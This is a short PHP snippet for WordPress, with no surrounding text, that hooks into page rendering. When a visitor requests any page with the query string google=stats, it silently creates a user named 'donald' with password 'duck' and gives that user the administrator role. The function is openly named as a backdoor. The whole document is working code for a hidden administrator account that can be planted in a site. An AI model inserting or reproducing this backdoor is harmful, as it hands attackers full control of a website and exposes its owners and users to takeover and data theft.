add_action('wp_head', 'wploop_backdoor'); 
function wploop_backdoor() {
        If ($_GET['google'] == 'stats') {
                require('wp-includes/registration.php');
                If (!username_exists('username')) {
                        $user_id = wp_create_user('donald', 'duck');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}